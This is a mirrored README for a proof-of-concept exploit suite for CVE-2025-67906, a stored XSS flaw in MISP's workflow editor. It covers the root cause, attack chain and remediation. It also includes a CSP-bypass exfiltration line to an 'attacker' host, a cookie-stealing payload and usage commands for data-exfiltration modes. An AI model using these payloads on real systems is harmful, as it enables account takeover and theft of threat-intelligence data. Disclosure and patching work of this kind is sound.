An open API service indexing awesome lists of open source software.

https://github.com/franckferman/cve-2025-67906

MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection).
https://github.com/franckferman/cve-2025-67906

0day 0day-exploit 0dayexploit csp-bypass cve cve-2025 cve-2025-67906 cybersecurity exfiltrate-data misp misp-exploit pentest pentesting stored-xss stored-xss-exploit xss xss-attacks xss-exploit xss-exploitation xss-vulnerability

Last synced: about 2 months ago
JSON representation

MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection).

Awesome Lists containing this project

README

          


CVE Score
GCVE
CWE
License
Python
No deps


CVE-2025-67906


MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection)


Discovered by Franck FERMAN



Overview -
Root Cause -
Attack Chain -
Structure -
Usage -
Remediation -
References


---

## Vulnerability Overview

**CVE-2025-67906** (GCVE-1-2025-0031) is a Stored Cross-Site Scripting (XSS) vulnerability in [MISP](https://www.misp-project.org/) (Malware Information Sharing Platform) versions up to and including **2.5.27**.

The vulnerability resides in `app/View/Elements/Workflows/executionPath.ctp`, the **Workflow execution path view** component. The `name` field of workflow triggers is persisted to the database without server-side sanitization and subsequently rendered into the DOM through the **doT.js** template engine without HTML escaping. An authenticated attacker can inject arbitrary HTML/JavaScript that executes in the browser session of any user who views the compromised workflow.

Because the payload is stored in the database and rendered on every page load, the XSS is **persistent** - it survives page refreshes, affects multiple users, and persists until the workflow is explicitly deleted.

**Discovery:** This vulnerability was identified and responsibly disclosed by **Franck FERMAN**.

---

## CVSS Scores

Multiple CVSS assessments exist for this vulnerability:

| Source | Score | Severity | Vector |
|---|---|---|---|
| **NIST NVD** | **9.0** | **Critical** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H` |
| **GCVE (CIRCL)** | **7.1** | **High** | `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H` |
| **CNA (MITRE)** | **5.4** | **Medium** | `CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N` |

The score divergence reflects differing assessments of impact depth. The NIST NVD score (9.0) accounts for full Confidentiality, Integrity, and Availability impact given that the XSS payload executes with the victim's session privileges, enabling admin-level data exfiltration and workflow manipulation. The CNA score (5.4) considers only limited C/I impact for a generic XSS. The GCVE CVSS 4.0 score (7.1) introduces Attack Requirements (Privilege) and Active User Interaction modifiers.

The Scope is **Changed** across all assessments because the attacker's payload (injected via the MISP API) executes in a different security context (the victim's browser session).

---

## Root Cause Analysis

### The Injection Vector

MISP's Workflow Engine allows authenticated users to create and edit workflows via the REST API. The workflow data model includes a `trigger` component with a `name` field. This field is:

1. **Accepted by the API** without input validation or HTML entity encoding
2. **Persisted to the database** as raw text (no server-side sanitization)
3. **Rendered in the browser** via the [doT.js](https://olado.github.io/doT/) JavaScript template engine

### Why doT.js is Vulnerable Here

doT.js is a fast JavaScript templating engine. It uses `{{= }}` for interpolation, which **does not escape HTML** by default. The MISP Workflow Editor uses doT.js to render trigger metadata (including the `name` field) into the DOM. When the `name` field contains HTML like ``, the template engine inserts it as raw HTML, and the browser executes the embedded JavaScript.

The fix requires either:
- Switching to doT.js's encoded output syntax `{{! }}` which HTML-escapes the value
- Server-side sanitization before database insertion
- Both (defense in depth)

### Injection Point

```
POST /workflows/edit/{id}

{
"Workflow": {
"id": "1",
"data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
}
}
```

The `name` value inside the `data` JSON field is the injection point. The entire workflow graph is serialized as a JSON string within the request body.

### The Rendering Context: Client-Side Graphical Engine

The vulnerability is amplified by the architectural choice of using a **client-side template engine** (doT.js) to render the visual workflow editor. The Workflow Editor is a graphical drag-and-drop interface where each trigger/action is displayed as a visual block. The trigger `name` field is rendered as a label inside these graphical blocks.

doT.js builds the visual components by generating HTML strings from templates and inserting them into the DOM. The `{{= }}` interpolation syntax produces **unescaped output** - any data interpolated into the template is treated as markup, not text. If the same `name` field were rendered via `element.textContent` (which treats input as plain text) or via doT.js's own `{{! }}` encoded output syntax, no XSS would be possible regardless of the input content.

The attack surface exists precisely because:
1. A **graphical editor** requires rich HTML rendering (styled blocks, icons, layouts)
2. The template engine chosen (doT.js) defaults to **unescaped output** (`{{= }}`) for performance
3. User-supplied metadata (trigger names) flows into these templates without sanitization
4. The result is that any string stored in the `name` field is interpreted as HTML by the browser

This is a common vulnerability pattern in web applications that use client-side template engines to build interactive visual interfaces: the need for rich rendering creates an implicit trust relationship between the template and its data sources, and any unsanitized user input that reaches the template becomes executable code.

### Why `` and Not ``

A raw `<script>` tag injected via template interpolation will typically not execute in this context. Browsers do not run `<script>` elements that are inserted into the DOM after initial page parsing (via `innerHTML` or equivalent). Event handler attributes like `onerror`, `onload`, or `onmouseover` on HTML elements bypass this restriction because they fire inline JavaScript when the browser processes the element's attributes, regardless of how the element was inserted.

The `<img src="x" onerror="...">` vector is preferred because:
- The `src="x"` guarantees an immediate load failure, triggering `onerror` without user interaction
- It works across all browsers and does not require the element to be visible
- It bypasses CSP `script-src` restrictions that block inline `<script>` tags, because the execution happens via an event handler on a non-script element

### CSP Bypass via Navigation (Exfiltration)

MISP instances typically deploy Content Security Policy headers that restrict `connect-src`, preventing `fetch()` and `XMLHttpRequest` calls to external origins. The exfiltration payloads in this PoC bypass CSP by using **`window.location`** (navigation) instead of API calls:

```javascript
// BLOCKED by CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data); // CSP violation

// NOT blocked - navigation is not governed by CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data; // works
```

CSP has no directive that controls where a page can navigate to. The `navigate-to` directive was proposed in CSP Level 3 but was never implemented by any browser and has been effectively abandoned. This makes `window.location` a reliable CSP bypass for data exfiltration from any XSS context, regardless of the CSP policy in place.

The tradeoff is that navigation is visible to the victim (the page changes). The `server/redirector.py` mitigates this by immediately issuing an HTTP 302 redirect back to the MISP instance, creating only a brief visible flash. From the victim's perspective, the page appears to reload.

**Exfiltration data flow:**

```
Victim browser Attacker (redirector.py) MISP
| | |
|-- GET /exfil?data=<stolen> ---->| |
| | [captures data, prints] |
|<-- 302 Location: misp.url ------| |
| | |
|-- GET /workflows/view/1 ---------------------------------------->|
|<-- Normal MISP page ---------------------------------------------|
```

The entire round-trip takes ~100-200ms. The victim sees a page flash at most.

### Real-World Impact of Stored XSS

A common misconception in security assessments is that XSS vulnerabilities have limited practical impact ("it's just an alert box"). In real-world red team engagements, a Stored XSS - especially a no-click persistent one like this - is a high-value finding precisely because the attacker does not need the victim to click anything. The payload fires automatically when the page is rendered.

What a Stored XSS enables in practice:

- **Session hijacking**: if cookies are not marked `HttpOnly`, the attacker steals the admin session cookie and takes over the account. Even with `HttpOnly`, session tokens exposed in the DOM or in API responses can be extracted.
- **Full page content exfiltration**: everything the victim sees, the attacker sees. User lists, event details, API keys displayed on admin pages, organization data - all readable via `document.body.innerHTML` or targeted DOM queries.
- **Credential harvesting**: inject a fake login form or a session timeout overlay. The victim re-enters their password into attacker-controlled HTML.
- **Lateral movement**: from a compromised admin session, create new API keys, modify sharing groups, push malicious events to connected MISP instances.
- **Persistence**: the payload survives page reloads and affects every user who visits the workflow. It persists until explicitly deleted.

When protections like CSP restrict outbound requests (`connect-src`, `script-src`), the exfiltration vector adapts - as demonstrated in this PoC with the `window.location` navigation bypass. CSP raises the bar but does not eliminate the risk. When `HttpOnly` prevents cookie theft, the attacker pivots to DOM-based exfiltration of the data directly visible in the authenticated session.

In a pentest/red team context, a Stored XSS on a platform like MISP (which aggregates threat intelligence, IOCs, and organizational data) is particularly critical because the data accessible through an admin session is itself high-sensitivity: indicators of compromise, internal investigation details, sharing group memberships, and inter-organizational trust relationships.

---

## Attack Chain

```
1. Attacker authenticates to MISP (any role with workflow create permission)
|
2. POST /workflows/add -> creates a new workflow, receives workflow_id + trigger_id
|
3. POST /workflows/edit/{id} -> injects HTML/JS payload into trigger "name" field
| Payload: <img src="x" onerror="[JAVASCRIPT]">
|
4. Payload persists in MISP database
|
5. Victim (any authenticated user) visits /workflows/view/{id}
|
6. doT.js renders trigger name as raw HTML -> browser executes JavaScript
|
7. Impact depends on payload mode:
- alert() Proof of execution
- Session hijack Steal session cookie
- Data exfil Extract users, events, API keys from admin pages
- Credential theft Inject fake login form
```

### Impact by Payload Mode

| Mode | Impact | Requires |
|---|---|---|
| `alert` | Confirms XSS execution | Any user views workflow |
| `alert_info` | Displays victim's email and URL | Any user views workflow |
| `console_info` | Logs user email, role, URL to DevTools | Any user views workflow |
| `exfiltrate_users` | Extracts user list (ID, Org, Role, Email) from `/admin/users/index` | Admin views workflow + attacker listener |
| `exfiltrate_page` | Captures current page content and user identity | Any user views workflow + attacker listener |
| `exfiltrate_events` | Extracts event list (ID, Org, Date, TLP, Info) | Any user views workflow + attacker listener |

---

## Affected Versions

| Software | Affected | Fixed |
|---|---|---|
| MISP | <= 2.5.27 | 2.5.28 |

The fix is included in [MISP v2.5.28](https://github.com/MISP/MISP/compare/v2.5.27...v2.5.28). The relevant patch commit: [1f39deb](https://github.com/MISP/MISP/commit/1f39deb572da7ecb5855e30ff3cc8cbcaa0c1054).

---

## MITRE ATT&CK Mapping

| ID | Tactic | Technique | Relevance |
|---|---|---|---|
| [T1059.007](https://attack.mitre.org/techniques/T1059/007/) | Execution | JavaScript | XSS payload executes JavaScript in victim's browser |
| [T1189](https://attack.mitre.org/techniques/T1189/) | Initial Access | Drive-by Compromise | Stored payload triggers on page visit |
| [T1557](https://attack.mitre.org/techniques/T1557/) | Collection | Adversary-in-the-Browser | Payload operates within the victim's authenticated session |
| [T1539](https://attack.mitre.org/techniques/T1539/) | Credential Access | Steal Web Session Cookie | Session cookies accessible if HttpOnly is not set |
| [T1005](https://attack.mitre.org/techniques/T1005/) | Collection | Data from Local System | Exfiltration of user lists, events, and page content |

---

## Project Structure

```
poc_alert_cve_2025_67906.py # Simple PoC - alert() confirmation (~200 lines)
poc_exfiltrate_cve_2025_67906.py # Simple PoC - data exfiltration demo (~150 lines)
cve_2025_67906.py # Full exploit suite - 7 modes, custom payloads
server/
redirector.py # Exfiltration listener with transparent 302 redirect
```

- **`poc_alert_cve_2025_67906.py`**: Minimal, readable. Injects `alert()` to confirm XSS. Read this first.
- **`poc_exfiltrate_cve_2025_67906.py`**: Minimal exfiltration demo. Captures victim email/URL and sends to attacker server.
- **`cve_2025_67906.py`**: Full exploit suite with 7 payload modes, custom payload support, quiet mode.
- **`server/redirector.py`**: HTTP server that captures exfiltrated data and transparently redirects the victim back to MISP.

---

## Installation

**Python 3** (standard library only, zero external dependencies).

```bash
git clone https://github.com/franckferman/CVE-2025-67906.git
cd CVE-2025-67906
```

---

## Usage

### Quick Verification (poc_alert_cve_2025_67906.py)

Confirm the vulnerability exists with a harmless `alert()`:

```bash
python3 poc_alert_cve_2025_67906.py https://misp.target.org YOUR_API_KEY
```

Visit the URL printed by the script. An alert box confirms XSS execution.

### Data Exfiltration Demo (poc_exfiltrate_cve_2025_67906.py)

```bash
# Terminal 1: start the exfiltration listener
python3 server/redirector.py https://misp.target.org --port 8000

# Terminal 2: inject the payload
python3 poc_exfiltrate_cve_2025_67906.py https://misp.target.org YOUR_API_KEY --attacker YOUR_IP:8000
```

When a victim visits the workflow URL, their email, username, and page URL are captured by the listener.

### Full Exploit Suite (cve_2025_67906.py)

```bash
# Alert mode (default)
python3 cve_2025_67906.py https://misp.target.org API_KEY

# Extract user list from admin page
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_users --attacker YOUR_IP:8000

# Extract event list
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--mode exfiltrate_events --attacker YOUR_IP:8000 --limit 50

# Custom payload
python3 cve_2025_67906.py https://misp.target.org API_KEY \
--payload '<img src=x onerror="document.location=YOUR_URL+document.cookie">'

# Quiet mode (minimal output)
python3 cve_2025_67906.py https://misp.target.org API_KEY --mode alert --quiet
```

### Available Modes

| Mode | Description |
|---|---|
| `alert` | Simple alert box (default, safe for demo) |
| `alert_info` | Alert box with victim URL, email, user agent |
| `console` | Console.log confirmation |
| `console_info` | Log user email, role, URL to DevTools console |
| `exfiltrate_users` | Extract user list from `/admin/users/index` (requires admin victim) |
| `exfiltrate_page` | Capture current page content and user identity |
| `exfiltrate_events` | Extract event list with ID, Org, Date, TLP, Info |

---

## Remediation

### For MISP administrators

1. **Upgrade MISP** to 2.5.28 or later ([changelog](https://github.com/MISP/MISP/compare/v2.5.27...v2.5.28))
2. **Restrict workflow creation** to trusted roles via MISP's role permission system
3. **Monitor audit logs** for workflow creation/modification by unexpected users
4. **Review existing workflows** for suspicious HTML in trigger names

### For MISP developers

1. **Switch doT.js interpolation** from `{{= }}` (raw) to `{{! }}` (HTML-encoded) for user-supplied fields
2. **Server-side sanitization** of the `name` field before database insertion (strip HTML tags, encode entities)
3. **Content Security Policy** headers to prevent inline script execution as defense in depth

---

## References

### CVE Records

- [NVD - CVE-2025-67906](https://nvd.nist.gov/vuln/detail/CVE-2025-67906) (NIST, CVSS 9.0 Critical)
- [GCVE-1-2025-0031](https://vulnerability.circl.lu/vuln/gcve-1-2025-0031) (CIRCL Vulnerability-Lookup, CVSS 4.0: 7.1 High)

### Patch and Advisories

- [MISP v2.5.27...v2.5.28 Changelog](https://github.com/MISP/MISP/compare/v2.5.27...v2.5.28)
- [Patch Commit 1f39deb](https://github.com/MISP/MISP/commit/1f39deb572da7ecb5855e30ff3cc8cbcaa0c1054)

### Technical References

- [MISP Project](https://www.misp-project.org/)
- [MISP GitHub Repository](https://github.com/MISP/MISP)
- [MISP Galaxy](https://misp-galaxy.org/)
- [doT.js Template Engine](https://olado.github.io/doT/)
- [CWE-79: Improper Neutralization of Input During Web Page Generation](https://cwe.mitre.org/data/definitions/79.html)
- [MITRE ATT&CK - T1059.007: JavaScript](https://attack.mitre.org/techniques/T1059/007/)
- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Scripting_Prevention_Cheat_Sheet.html)

### Credits

- **Franck FERMAN** - Vulnerability discovery, PoC development
- **Sami Mokaddem (Graphman)** - Credited in GCVE advisory

---

## Legal Disclaimer

This tool is provided for **authorized security auditing, academic research, and educational purposes only**. Usage against systems without explicit written permission from the system owner is illegal. The author accepts no liability for unauthorized or malicious use.